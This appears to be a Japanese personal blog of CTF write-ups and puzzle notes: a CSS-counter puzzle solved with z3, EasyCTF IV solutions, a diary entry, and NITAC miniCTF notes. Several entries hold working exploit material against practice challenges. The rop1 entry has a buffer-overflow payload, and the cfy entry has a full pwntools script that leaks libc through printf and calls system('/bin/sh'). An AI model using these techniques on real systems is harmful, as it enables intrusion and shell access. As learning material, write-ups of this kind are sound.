更新日時で差をつけろ

もはや更新日時でしか差を付けられない

Chocolate Cookie 解説

バレンタインの直前に思いついたので、チョコレートのパッケージに混入させてURL渡したりTwitterに投げてみたりしたんですが結局誰も解けなかった・解かなかったみたいです…難易度が高すぎただけなのか、はたまたエスパーだったのか…

問題

http://o0i.es/chocolate に置いてあります。

想定解法

開発者ツールなどでページのHTMLを見てみます。
まず<div id='message'>があり、<input type='checkbox'> が7x7のマスを構成しています。
その後に<span> が大量に配置されています。そしてその間に{が1つ配置されています。
checkboxをオンにすると色が濃くなってチョコチップっぽくなります。
適当にオンオフしていくと下の文字が変化したりしなかったりします。

しかし、ここには<script>が見当たりません。どのようにして<span>の文字を変えているのでしょうか?また、Here's a chocolate cookie...という文字列もHTMLファイルには記述されていません。どこから来ているのでしょうか?

ページタイトルに「CSS: Chocolate Sugoku Suki」とあることですし、CSSを見てみましょう。
style.cssrules.cssを読み込んでいるようです。

まずは前者から。先頭にいきなりFLAGの形式が書かれています。FLAG{s.........}ですね。
<div id='message'>の内容もここから来ています。
CSS--name: valueの形で変数を作ることができます。他のプロパティで参照するときはvar(--name)のようにして参照します。#0099ffなどだいたい何でも入れられます。

:root {
  --message: "Here's a chocolate cookie for you, find FLAG" /* FLAG{s.................} */ "!";
  --cacao: "C";
  --ushio: "h";
  --banana: "1";
}
 
...
 
#message::after {
  content: var(--message); 
}

続きを見てみましょう。

span:first-of-type::after {
  content: counter(f, upper-alpha);
}
 
span:first-of-type+*::after {
  content: counter(v, upper-alpha);
}
 
span:first-of-type+*+*::after {
  content: counter(j, upper-alpha);
}
 
span:first-of-type+*+*+*::after {
  content: counter(y, upper-alpha);
}
 
...
 
span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after {
  content: counter(e, lower-alpha) var(--banana);
}
 
...
 
span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after {
  content: '}';
}

span:first-of-typeでページ内の一番最初の<span>を選択し、隣接セレクタ+とユニバーサルセレクタ*を組み合わせて次の要素を取っています。
span:first-of-typeなら1番目、span:first-of-type+*なら2番目、span:first-of-type+*+*なら3番目…という感じです。
そしてそれの::after疑似要素・contentプロパティを使って何らかの文字を表示しています。実際に表示される文字はここで決定されるようです。

通常はcontent: "new!";のように文字列を使用することが多いですが、ここではcounter()を用いています。カウンタは、主に<li>でリスト表記をするときに番号を自動で割り振るために使われるものです。MDNが詳しいです。
デモも置いておきます。

たとえば1番目ではfカウンタの数値をupper-alpha、つまりアルファベットの大文字にして表示しています。何も指定しない場合は数字が出力されます。
途中でvar()を使ってはじめに定義した変数を表示している部分もあります。

これらを読んでいくと、<span>で表示されるそれぞれの文字は以下のカウンタの値と固定値で出来上がることになります。'で囲っているのが固定値です。

f v j y '{'(spanの間) g q(数値) h n l k(数値) c 'h'(--ushio) i o r 'C'(--cacao) p t d e '1'(--banana) s u(数値) '}'

fvjy{g.....}のカウンタの値を先程のFLAG{s......}と対応させることができればFLAGがわかるということです。

ゴールがわかったので、次にrules.cssを見てみましょう。
似たようなコードが繰り返されています。

input:nth-of-type(3):checked ~
input:nth-of-type(8):not(:checked) ~
input:nth-of-type(34):checked {
  counter-increment: h 3 g 1 r 3 f 1 k 2;
}
 
...

input:nth-of-type(N)でN番目のcheckboxを選択し、それぞれがON(:checked)かOFFかでスタイル(もはやスタイルではない)を適用するか決めています。
~はその要素以降の兄弟要素に対して適用されます。

この場合だと、「ONになっている3番目のcheckbox」の後ろに「OFFになっている8番目のcheckbox」があり、さらに後に「ONになっている34番目のcheckbox」がある場合に適用されます。
つまり、「3番目がON」かつ「8番目がOFF」かつ「34番目がON」ならば適用するという意味だとわかります(以降これをルールと呼びます)。

counter-incrementはその名の通りカウンタをインクリメントするのですが、後ろに数値を指定することで増加数を自由に変えられます。ここではh += 3, g += 1, r += 3, f += 1, k += 2という感じです(カウンタの中身はあくまで数値で、表示するときにアルファベットにしているだけです)。
試しに問題ページで3,8,34番目を操作してみると変化がわかりやすいと思います。

このrules.cssのすべてのルールに合うようにすればFLAGが出てくるのでしょうか?

…答えはNOです。
もういくつか見てみると以下のinput:nth-of-type(2)のように、互いに矛盾しているルールがあります。FLAG{sという文字列にするために使うルールと使わないルールがあり、その組み合わせを求める必要があります。

input:nth-of-type(2):not(:checked) ~
input:nth-of-type(39):checked ~
input:nth-of-type(44):not(:checked) {
  counter-increment: n 3 s 3 f 1 d 3;
}
 
input:nth-of-type(2):checked ~
input:nth-of-type(6):checked ~
input:nth-of-type(16):not(:checked) {
  counter-increment: p 2 f 1 k 2 j 3;
}

でもどうやって求めるのでしょうか?
全探索? O(249) = 562949953421312通りなので厳しいですね。

制約充足問題 で検索してみましょう! wikipediaを引用します。

制約充足問題(せいやくじゅうそくもんだい、英: Constraint satisfaction problem, CSP)は、複数の制約条件を満たすオブジェクトや状態を見つけるという数学の問題を指す

これの例としてよく挙げられるのは数独です。それぞれのマスを変数として、「ヨコの行・タテの列・3x3の正方形に1~9を1回ずつしか使えない」という制約を満たすような数字の入れ方を求める制約充足問題になります。
この数字を求める、つまり問題を解いてくれるスゴイものがSAT/SMTソルバと呼ばれるものです。
代表的なSATソルバにminisatがあります。SAT ソルバー 入門 がわかりやすいのでおすすめです。

ただ、SATソルバでは真偽の制約(aがtrue, bがfalse, かつcがfalse…)しか扱えないので直接扱うには大変な場合があります。対してSMTソルバは内部でSATソルバを呼び出しますが、整数の大小・「AならばB」などを制約として扱う構文を備えているのでSATよりもシンプルに書くことができます。
パズルをSugar制約ソルバーで解く も見てみると雰囲気がつかめると思います。

さて、それではこの問題にはどのような制約があるでしょうか?

  • 3つすべてのcheckboxが条件を満たしてはじめて、ルールが有効になり、それに応じてそれぞれのカウンタに加算する
    • 逆に、「ルールを使わないときは加算しない」「ルールで指定されていないカウンタには加算しない」(見落としがちです)
  • f v j y gカウンタの値はそれぞれF L A G sに対応する数値になる

この2つです。
1番目の制約は、たとえば以下のルールがあったとき

 input:nth-of-type(2):not(:checked) ~
 input:nth-of-type(39):checked ~
 input:nth-of-type(44):not(:checked) {
   counter-increment: n 3 s 3 f 1 d 3;
 }

このように変換できます(擬似コードです)。

rule_satisfied ← not(input[2]) and input[39] and not(input[44])
if rule_satisfied then n += 3, s += 3, f += 1, d += 3, (それ以外) += 0
if not rule_satisfied then (すべてのカウンタ) += 0

…と言いたいところですが、SMTソルバはtrue/falseで表現される制約を解くためのものなので、n += 3のように「変数に逐次値を足していってから比較する」ということができません。私もここで詰まり2日ほど考えた末「あとから全部まとめて和をとって比較する」ようにすればうまくいくことに気づきました。

具体的には以下のようにルールごとの増分を記録する配列を作り、制約をかけます(普通の代入とそっくりです)。

rule_satisfied ← not(input[2]) and input[39] and not(input[44])
if rule_satisfied then
  table[rule1][n] == 3, table[rule1][s] == 3, table[rule1][f] == 1, table[rule1][d] == 3,
  table[rule1][それ以外] == 0
if not rule_satisfied then table[rule1][すべてのカウンタ] == 0

そして、これを用いれば2番目の制約が表現できます。fカウンタの値はそれぞれのルールでの増分の和になるので、table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f]として表現できます。

table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f] == 'F'
table[rule1][v] + table[rule2][v] + table[rule3][v] ... table[ruleN][v] == 'L'
table[rule1][j] + table[rule2][j] + table[rule3][j] ... table[ruleN][j] == 'A'
table[rule1][y] + table[rule2][y] + table[rule3][y] ... table[ruleN][y] == 'G'
table[rule1][g] + table[rule2][g] + table[rule3][g] ... table[ruleN][g] == 's'

あとはこの2つをプログラムに落とし込むだけです!
私はz3というSMTソルバを使って解きました。GitHubにRubyでのコード例を載せています(あんまりきれいじゃないね…)。

実行するとFLAG{sという文字が現れるようなルールの組み合わせと、それらを満たすcheckboxのオンオフ、計算されたFLAGが出力されます。
実際のページでやってみると…うまくできました! FLAG{s0rry4Ch3apCh0co1at3}がFLAGです。

その他

  • 最初のバージョンではルールの数が20しかなく、O(220)で組み合わせるルールの全探索が可能でした
  • ルールを増やしたところ解が複数になってしまい削減できなかったため苦肉の策としてFLAGの1文字目を指定しました
    • これのせいで全探索の計算量減っちゃうかも?誰かおしえて
  • Xmas Contest 2017 I問題を解くために調べているときに思いつきました
  • CSSはチューリング完全

EasyCTF IV write-up

EasyCTF IV にチームBiPhoneから出ました(一人だけど)。2056ptsで89位でした。
楽しかった。ハリネズミ本に載っているようなpwnがあったので同級生に投げていこうかな。
以下write-up。問題数多いので10ptsや30ptsの問題は大体略していますごめんなさい。

Substitute 50pts

easyctf{THIS_IS_AN_EASY_FLAG_TO_GUESS}で通らず1日放置してから、HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.をまるごと投げたら通った。は?
sedするよりもhttp://quipqiup.com に投げたほうが早い。

$ echo 'FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.' | sed -e 's/F/y/g' -e 's/C/e/g' -e 's/L/s/g' -e 's/H/p/g' -e 's/W/c/g' -e 's/E/t/g' -e 's/N/f/g' -e 's/A/a/g' -e 's/P/h/g' -e 's/J/i/g' -e 's/I/o/g' -e 's/O/g/g' -e 's/G/u/g' -e 's/X/n/g' -e 's/S/l/g' -e 's/D/r/g' -e 's/U/w/g' -e 's/M/d/g' -e 's/Z/v/g' -e 's/T/m/g' -e 's/Y/b/g' -e 's/T/m/g'
 
yo! nicebowlofsoup Qust made a new flag for the ctf and is totally proud of its ingenuity. this is also the second problem ever made for easyctf. here: easyctf{this_is_an_easy_flag_to_guess} use capital letters.

Soupreme Encoder 20pts

FLAG: hexit_mate_c17c5c159e1f0cb857f2
'68657869745f6d6174655f6331376335633135396531663063623835376632'.chars.each_slice(2) { |p, q| print (p+q).to_i(16).chr }
としていたが
['68657869745f6d6174655f6331376335633135396531663063623835376632'].pack("H*")でよかった。

Intro: Reverse Engineering 30pts

もう1回暗号化するだけだが、Pythonの扱いに慣れない…
easyctf{char_by_char_67bdFD}
https://stackoverflow.com/questions/17615414/how-to-convert-binary-string-to-normal-string-in-python3

#!/usr/bin/env python3
import binascii
key = "DbitqlPo"
def mystery(s):
    r = ""
    for i, c in enumerate(s):
        r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256))
    return binascii.hexlify(bytes(r, "utf-8"))
 
expected = '6503c2a125c2a768c28672431a7bc28e131e19c39e23c3aa03c3aec28bc3aac397c29b04c394c3ae41'
plain = mystery(binascii.unhexlify(expected).decode('utf-8'))
 
print(binascii.unhexlify(plain).decode('utf-8'))

format 160pts

x64でのFSB。espが指す場所にそのまま積まれている。

user95405@shell:/problems/format$ ./format
Enter your name: %p %p %p %p %p %p %lx %lx %lx
Your name is: 0x400a5a 0x7f8a8ea9b780 0xe 0x7f8a8ecb8700 0xe (nil) 4625f35200000000 7025207025207025 2520702520702520
 
Enter your secret password (in hex)
4625f352
easyctf{p3sky_f0rm4t_s7uff}

Starman 1 80pts

ナップザックDP。

#include <iostream>
#include <vector>
#include <algorithm>
 
using namespace std;
 
int r[2018], w[2018];
int dp[2018][2018];
 
int main() {
    int N, W;
    cin >> N >> W;
    for (int i = 0; i < N; i++) cin >> r[i] >> w[i];
 
    for (int i = 0; i < N; i++) {
        for (int k = 0; k <= W; k++) {
            if (k >= w[i]) {
                dp[i+1][k] = max(dp[i][k], dp[i][k - w[i]] + r[i]);
            } else {
                dp[i+1][k] = dp[i][k];
            }
        }
    }
 
    cout << dp[N][W] << endl;
 
    return 0;
}

Liar 70pts

デバッグ情報がついているバイナリとそのソースが渡されるが、それらはダミー。逆アセンブルすると全く異なる処理が行われていることがわかる。読んでRubyに書き換えると以下のようになる。

def encode number
  f = [
    0x65, 0x66, 0x7d, 0x6c, 0x7f, 0x57, 0x4c, 0x4a,
    0x4b, 0x4b, 0x2f, 0x21, 0x38, 0x04, 0x15, 0x08,
    0x03, 0x19, 0x59, 0xf1, 0xd3, 0xe7, 0xf5, 0xce,
    0xf7, 0xcd, 0xd7, 0xd9, 0xe8, 0x94, 0xa0, 0xb0,
    0x87, 0x8f, 0x9a, 0xca, 0x81
  ]
  g = []
  buf = number ^ 0x58eb29
 
  0x25.times do |i| # <-----
    g[i] = 0xFF & ((buf * i) ^ f[i]) 
  end
 
  g[0x25] = 0
 
  g.each { |x| print x.to_s(16) + ' ' }
  puts g.map(&:chr).join
end
 
encode gets.to_i

出力される文字はeasyctf{なので、<---で示したループにおいてi=1のとき0xFF & ((number ^ 0x58eb29) ^ 0x66) = g[1] = 'a' = 0x61になればよい。
XORをとるとnumberは5827374とわかるので入力に与えるとFLAGが出る。

$ ruby exploit.rb
5827374
65 61 73 79 63 74 66 7b 73 74 69 6c 6c 5f 77 61 73 6e 27 74 5f 74 6f 6f 5f 62 61 64 2c 5f 72 69 67 68 74 3f 7d 0 easyctf{still_wasn't_too_bad,_right?}

Adder 80pts

radare2で見るとC++っぽいメソッド名がたくさん。
3つの数字を受け取って、その和が0x539 = 1337になればFLAGを表示する。

~/c/e/adder $ ./adder
Enter three numbers!
1337 0 0
easyctf{y0u_added_thr33_nums!}

Keyed Xor 100pts

案外苦戦した。
大量の単語が改行区切りで入ったwords.txtから2単語選び連結した文字列と暗号文keyed_xor.txtのXORを取るとFLAGが出るらしい。

words.txtは20538行あるので、すべての組み合わせを試そうとすると20538 * 20537通りなので終わらない。
いろいろ悩んだ末、復号した平文がeasyctf{で始まっていると仮定して暗号文とXORをとり、鍵を逆算してみた。
すると鍵がaggravatで始まっていることがわかる。

$ xxd keyed_xor.txt 
00000000: 0406 140b 0202 070f 0308 1217 030f 140b  ................
00000010: 0718 0e15 070b 0615 121a 1906 000b 011c  ................
00000020: 151b 181d 0016 091f 0a17 1e08 0811 1612  ................
00000030: 1009 0200 090d 040b 0c13 0e1b 0f09 1211  ................
00000040: 131a 1719 1d16 111d 1517 08              ...........
$ irb
irb(main):002:0> (0x04 ^ 'e'.ord).chr
=> "a"
irb(main):003:0> (0x06 ^ 'a'.ord).chr
=> "g"
irb(main):004:0> (0x14 ^ 's'.ord).chr
=> "g"
irb(main):005:0> (0x0b ^ 'y'.ord).chr
=> "r"
irb(main):006:0> (0x02 ^ 'c'.ord).chr
=> "a"
irb(main):007:0> (0x02 ^ 't'.ord).chr
=> "v"
irb(main):008:0> (0x07 ^ 'f'.ord).chr
=> "a"
irb(main):009:0> (0x0f ^ '{'.ord).chr
=> "t"

aggravatで始まる単語は5つしかないので、5 * 20537通りとなり全探索できるようになる。

encrypted = File.binread('keyed_xor.txt').bytes
 
['aggravated', 'aggravation', 'aggravating', 'aggravate', 'aggravations'].each do |a|
  File.read('words.txt').split("\n").each do |b|
    decrypted = ''
    key = a + b
    encrypted.each_with_index do |ch, i|
      decrypted += (key[i % key.size].ord ^ ch.ord).chr
    end
    
    puts decrypted
  end
end

Digging for Soup 150pts

2つあったDNSの問題の一つ。キャッシュサーバが権威サーバからゾーン情報を取得するのに使われるゾーン転送要求・AXFRというものを使う。寮内のLANからはdigができないのでhttp://digwebinterface.com/を使った。

gyazo.com

gyazo.com

https://i.gyazo.com/48002ac037b4f7fc3040c7ec2fb21a6c.png

EzReverse 140pts

実行すると自身を削除してしまうので、逆アセンブルして読む。これぐらいの小さなアセンブリでも普通に1時間弱溶けてしまうので早く慣れたいなあ。
コマンドライン引数の文字をABCDEとして表すと、以下のような式が成り立つときにFLAGを表示する。

4 + D = 'o'
4 + D + 0xe = 3 + C
1 + A = 5 + E - 10
2 + B = '5'
3 + 4 + D = 5 + E

あてはまる文字列はg3zkmになる。

$ ./executable g3zkm
Now here is your flag: 10453125111114 

rop1 120pts

バッファオーバフローでget_flag()にリターンさせる。これぐらいはラクラク解けるようになってきた。

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
void get_flag()
{
    system("/bin/cat flag.txt");
}
 
void get_input()
{
    char inp[64];
    gets(inp);
    printf("You said: %s\n", inp);
}
 
int main(int argc, char** argv)
{
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    get_input();
    return 0;
}

get_flag()0x400646にある。

$ python -c  'print("\x00" * 72 + "\x46\x06\x40\x00")' | ./rop1
You said: 
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)

Little Language 250pts

何故解けたかさっぱりわからない。
自分がこれを解いたのは全チームのなかで5,6番目だったのだが、Discordで「解法を交換しないか」とb0bb3rという参加者からメッセージが送られてきた。どのチームかはわからないが酷い。

次のような数式っぽい画像encryptedと、BNFのようなテキストが添付される。この2つをもとパスワードをゲットしてログインする。
https://i.gyazo.com/5ad7213d010347427d611fb66e461424.png

S : E                           { ExpS $1 }
  | global var '=' E            { GlobalVarS $2 $4 }

REDACTEDとして除去されていた画像中のpasswordはl7&4C&Cgなようだ。

$ strings password
....
note: the password is l7&4C&Cg

与えられたアドレスとポートに接続すると、対話型の画面が出る。

> 3 + 5
8
> ghiehut4
Lexなんとか Error

おそらくここからログインするのだろうが、さっぱりわからないので添付されたテキストファイルを見てみる。
ExpSはおそらくExpression, 式のことで、GlobalVarSグローバル変数ではないかと思った。$2は左側のvarの位置に入力された文字列が入り、$4には左側にあるE(式)の評価結果が入ると推測して入力してみる。

> global username = root
....
> global password = l7&4C&Cg
....
> username
root

どうやら推測が当たったようだ。そして最後のログインもいろいろエスパーしたらなんか出てきた。

> login
(エラー)
> login username password
(エラー)
> signin
(エラー)
....
> flag
EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}

実は上の数式のようなものは、「small-step semantics」といって、計算機科学の分野では一般的なものらしい。
http://proofcafe.org/sf/Smallstep_J.html ここに説明が書いてあるので後で読んでみたい。

2/18

一日中若干頭と目元が痛かった。モニタの見すぎと文字(制御文字含め)の見すぎのダブルパンチ。でも気分はよかった。

Scrapboxにメモしていた興味のある事柄を整理整頓した。
パタヘネというあだ名がついているコンピューターの構成と設計 という本を見つけた。有名な本で大学でも利用されているらしい。
府立図書館に入っていたので春休みに借りてみたい(その前にリバースエンジニアリングバイブル最後まで読み切りたい…

15:00ぐらいまで暗号のPDFを読んでいた。30ページ進んだ。RSA暗号の仕組みを理解できた(説明しろと言われると難しいので、やっぱりまだかな)。
Cryptoはこわくて敬遠してたけどなるべくできるようになっておいたほうが良いと思う。

剰余環、有理体などという難しそうな話もあったが、ちょっとずつ読めばなんとなくわかった。足す引く掛ける演算に渡す引数と返り値が同じタイプの数(たとえば整数)のときそのタイプを環と考えたり、剰余では独特な逆数(=逆元??)と割り算を考えて環から体というものに持ち込んだりする考え方が新鮮だった。
RSAを知った当初は「どうやったらこんなのを思いつくんだ??」と不思議だったけれど、ElGamal暗号とか数学の世界で剰余環においてのべき乗の一方向性などが研究されていたのがベースにあったと知り偶然ではないんだなぁと。

例の「ハンバーガーメニューみたいな等号」は合同式という名前がついていると知ったので、 NITAC miniCTF で出題されたけど解かなかったRSAの入門の問題を解いた(素数p,q, 公開鍵N, eが与えられ、de ≡ 1 (mod (p-1)(q-1)) Dec(c) = c^d mod n に当てはめるだけだがそのときはわからなかった)。
Pythonでの例が示されていたが、Pythonは嫌いなのでRubyOpenSSL::BNを使った。標準のInteger(Bignum)では無理だった。

RSAやSHA256という名前こそセキュスペを取るときやWebサービスを作るときに覚えたものの、内部の仕組みまで把握していなかったので面白いし、言及している内容もセキュスペとかぶる部分があるので頭に入ってくる。

なんとなく部屋の中に文字が多すぎる気がしたので本棚の本を前後反対にして背表紙の文字が見えないようにした。特になにも変わらなかった。

EasyCTFを進めていこうとしたが、なかなかもう解ける問題がない。かんたんな問題を3つほど通して80位ぐらい。せめて2桁には残りたい。
300 Solvedなのにわからない問題が…何かを見落としているのだろうか。
暗号の知識を早速使ってみようとするもののわからない…write-up待つだけになりそうw

今日は明石高専の学力入試だったので、なんとなく「明石高専 寮 生活」とかで検索してみるとかなり上の方にたのしい潮寮生活が来ていた。ちょっとうれしい。
新入生の何人かがこれを読んでいる可能性も十分にある。学内表彰をもらっても良いのでは?(適当)

明日も休み うれしい

31C3 CTF 「cfy」

pwn問題集easyより。
FunnyBusiness と同じぐらいの難易度に感じた。眠くてよくわからなくなってwrite-upを開いたけど単純だったのでもうちょっと粘ればよかったなあ...

概要

動かすと、0)~3)のオプションが提示されて適当に打つとhexと10進数を変換してくれるプログラム。
parse from pointerはよくわからなかった。

入力された0~3の値を4bit左シフト(=16倍)してからobj.parsers = 0x601080に足し、処理内容を変えているのがわかる。(obj.buf = 0x6010e0にはPlease enter your number:での入力が入っていて、call raxの際の第一引数になる)

shl rax, 4                              
add rax, obj.parsers                    
mov rax, qword [rax]                    
mov edi, obj.buf  
call rax

だが、ここでは入力チェックが欠けていて、-2とか100などの入力も受けつけてしまいSIGSEGVを起こす。
値を16倍しているので、たとえば-3だと48バイト前に書かれているアドレスをcallする。
obj.parsers周辺を見てみると、printfobj.bufもcallできることがわかる。

0x00601000  280e 6000 0000 0000 0000 0000 0000 0000 ; .got.plt領域
0x00601010  0000 0000 0000 0000 d605 4000 0000 0000                                                                           
0x00601020  e605 4000 0000 0000 f605 4000 0000 0000 ; 0x4005e6 -> printf, オプション -6) !?                                                                
0x00601030  0606 4000 0000 0000 1606 4000 0000 0000 ; 0x400606 -> fgets                                                            
0x00601040  2606 4000 0000 0000 3606 4000 0000 0000                                                                           
0x00601050  4606 4000 0000 0000 0000 0000 0000 0000                                                        
0x00601060  0000 0000 0000 0000 0000 0000 0000 0000 ; .data領域
0x00601070  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601080  3d07 4000 0000 0000 b409 4000 0000 0000 ; obj.parsers, オプション 0) -> 0x40073d                                                                    
0x00601090  6107 4000 0000 0000 c309 4000 0000 0000 ; オプション 1) -> 0x400761                                                      
0x006010a0  8507 4000 0000 0000 d209 4000 0000 0000 ; オプション 2) -> 0x400785                                               
0x006010b0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010c0  0000 0000 0000 0000 0000 0000 0000 0000 ; .bss領域
0x006010d0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x006010e0  0000 0000 0000 0000 0000 0000 0000 0000 ; obj.buf = 0x6010e0, オプション 6) !?                                               
0x006010f0  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601100  0000 0000 0000 0000 0000 0000 0000 0000                                                                           
0x00601110  0000 0000 0000 0000 0000 0000 0000 0000   

printfでリークができないか試してみる。上より、-6を入れてやればcallできた。

$ ./cfy
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
-6
 
Please enter your number: AAAA %p %p %p %p %p | %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
AAAA 0x7f3165b79890 0x6010e0 0xfbad2288 0x24fc6d5 0x7f3165d634c0 | 0xfffffffa15031280 0x11 0x400930 0x7f31657be1c1 (nil) 0x7ffd15031288 0x100000000 0x40080c (nil) 0x41778c36290b7836 0x400650 0x7ffd15031280 (nil) (nil) 0xbe8da6b0180b7836 0xbf154641f9997836 (nil) (nil) (nil) 0x1 0x40080c 0x4009a0 (nil) (nil) 0x400650 0x7ffd15031280 
dec: 333
hex: 0x14d

9番目の%pで出力されている0x7f31657be1c1main関数のリターンアドレスで、__libc_start_mainにリターンする。
vmmapでlibcのベースアドレスは0x7ffff79f5000となったので、オフセットは0x211c1

$ rax2 -k '0x7ffff7a161c1-0x7ffff79f5000'
0x211c1

libcのベースアドレスがわかるので、system(オフセットは0x47dc0)のアドレスを計算したあと、それを呼び出したい。
上に書いたとおりobj.bufに書かれたアドレスもcallできるので、これを利用する。
まず1回目でobj.bufの領域にsystemのアドレスを書き込んだあと、2回目で/bin/shを引数として渡すと同時にcallする。
ここで注意すべきなのが、1回目でobj.bufに書き込んでも2回目で/bin/shという7byte分は上書きされるということ。なので、systemのアドレスは16byte後ろにずらして書き込む(オプションの数字も1つ増やす)。

Exploit

from pwn import *
 
c = remote('localhost', 62000)
 
libc_start_main_offset = 0x211c1
system_offset = 0x47dc0
 
# leak libc's address
c.recv(1024) 
c.send("-6\n")
c.recv(1024)
c.send("%9$lx\n")
 
libc_base = int(c.recv(12), 16) - libc_start_main_offset
log.info(hex(libc_base))
system_addr = libc_base + system_offset
 
# write system's address
c.recv(1024)
c.send("1\n")
 
payload  = p64(0)
payload += p64(0) # padding for string '/bin/sh'
payload += p64(system_addr)
payload += "\n"
 
c.recv(1024)
c.send(payload)
 
# pass '/bin/sh' & call system
c.recv(1024)
c.send("7\n") # 6 -> obj.buf, 7 -> obj.buf + 0x10
c.recv(1024)
c.send("/bin/sh\n")
 
time.sleep(0.3)
c.interactive()

Xmas Contest 2017 I - SAT Puzzle を z3 を使って解いた

Xmas Contest 2017のI - SAT Puzzleのパズルをz3というSMTソルバを使って解いてみた。

あとでminisatが解釈できるDIMACS CNFを出力するようにして実際にジャッジにも出してみたい。

参考にしたのはここ。
Xmas Contest 2017 I問題 SAT Puzzle 解説
SAT ソルバー 入門 JOI春合宿のスライド。
パズルをSugar制約ソルバーで解く

z3は単なるソルバなので、そのソルバを使う言語は自由に選べる。z3 gemがあったのでRubyで書いた。
隣接の判定を8方向で行ってたりいろいろ間違えたりして5時間ぐらいかかった…
exampleを見てなんとなくで書いているのでもっとスマートに書けるかも。

require 'z3'
 
class PuzzleSolver
  def initialize board
    @board = board
    @data = []
    @constraints = []
    @solver = Z3::Solver.new
  end
 
  def solve
    @data = (0...6).map do |y|
      (0...6).map do |x|
        make_cell x, y, @board[y][x]
      end
    end
 
    6.times do |y|
      6.times do |x|
        make_constraints_connectivity x, y
      end
    end
 
    make_constraints_unique
 
    if @solver.satisfiable?
      m = @solver.model
      
      @data.each do |row|
        puts row.map {|k| m[k[:c]].to_i == 1 ? 'x' : '.' }.join
      end
    else
      puts 'could not solve'
    end
  end
 
  def make_cell x, y, isblack
    c = Z3.Int "cell(#{x}, #{y})"
    g = []
    4.times do |i|
      g[i] = Z3.Int "group#{i}(#{x}, #{y})"
      @solver.assert 0 <= g[i]
      @solver.assert g[i] <= 4
    end
 
    @solver.assert Z3.Or(c == 0, c == 1)
    @solver.assert c == 1 if isblack
 
    # c, g1~g4から1つ以上が真で、2つ以上は同時に真にならない => ちょうど一つが真
    @solver.assert Z3.Or(g[0] > 0, g[1] > 0, g[2] > 0, g[3] > 0, c == 1)
    [c, *g].combination(2) do |a, b|
      @solver.assert Z3.Or(a == 0, b == 0)
    end
 
    {c: c, g: g}
  end
 
  def make_constraints_unique
    4.times do |group| # for group0, 1, 2, 3
      group_ints = @data.map do |row|
        row.map { |d| d[:g][group] }
      end.flatten
 
      1.upto(4) do |node_num|
        # group_intsのどれかがそれぞれノード番号1,2,3,4になる
        @solver.assert Z3.Or(*group_ints.map { |gi| gi == node_num })
        group_ints.combination(2) do |a, b|
          @solver.assert Z3.Or(a != node_num, b != node_num)
        end
      end
    end
  end
 
  def make_constraints_connectivity x, y
    4.times do |group|
      g = @data[y][x][:g][group]
 
      # 連結(ノード番号1を根とする有向木のように考えて、ノードの番号が2以上のときは自分より小さい番号のノートを隣に置く)
      r = adjacent(x, y).map do |nx, ny|
        Z3.And(@data[ny][nx][:g][group] > 0, @data[ny][nx][:g][group] < g)
      end
      @solver.assert Z3.Implies(g > 1, Z3.Or(*r))
 
      # 異なるグループのマスが隣接しない
      r = adjacent(x, y).map do |nx, ny|
        ([0, 1, 2, 3] - [group]).map { |other_group| @data[ny][nx][:g][other_group] == 0 }
      end
      @solver.assert Z3.Implies(g > 0, Z3.And(*r.flatten))
    
      # r = adjacent(x, y).map do |nx, ny|
      #   @data[ny][nx][:g4] > g4
      # end
      # @solver.assert Z3.Implies(g4 > 0, Z3.Or(*r)) # g4 == 4 のときに不可能
    end
  end
 
  def adjacent x, y
    r = []
    r << [x-1, y  ] if x > 0
    r << [x  , y-1] if y > 0
    r << [x  , y+1] if y < 5
    r << [x+1, y  ] if x < 5
 
    r
  end
end
 
board = '
......
...x..
..x..x
x..x..
....xx
x.x..x
'
board = board.split(' ').map { |line| line.chars.map { |ch| ch == 'x' } }
 
solver = PuzzleSolver.new board
solver.solve
$ ruby solve_by_z3.rb
x...x.
.x.x..
..xx.x
x.xxxx
xx..xx
xxx..x

NITAC miniCTFに参加した

2/4, 明石高専で開かれたminiCTFに参加しました。
personal-development名義でチームSMAPとして出て、個人1050点/チーム1950点で1位でした。
WebとCryptoに弱いのをなんとかしたい。

以下write-up。

Checkcoin

500億円程度流失していそうな問題名。
ユーザは1000NEM持っていて、FLAGを見るには10000NEM必要らしい。
また、Johnプロに募金ができるページが用意されている。ボタンを押すと書かれた数だけNEMが減っていく。

ソースを見るとこんな感じ(記憶から再現)なので、amountvalue-10000にするとNEMが加算されるようになり、無事FLAGを入手できる。

<input type="hidden" name="amount" value="5">
<input type="submit" value="5 nem">

Where flag?

gitを使った問題。
たまたまGitの配管コマンドについての記事を読んでいたのでこれを使った。

含まれているflag.txtは偽物。

$ cat flag.txt
NITAC{This_is_un!not_flag}

git logするも、嘘のフラグに書き換えた記録しかない。

$ git log --oneline
e0168bf (HEAD -> master) Change to lie flag
0001fda add tmp_flag

本番ではなんかいろいろウワーッとやったので覚えていない。
reflogを使えばChange to real flagからresetで履歴が書き換えられたことが確認できるらしい。

$ git reflog 
e0168bf (HEAD -> master) HEAD@{0}: commit: Change to lie flag
0001fda HEAD@{1}: reset: moving to 0001fda371ae32ee3f987f2ff63129ef647381a5
167eff1 HEAD@{2}: commit: Change to real flag
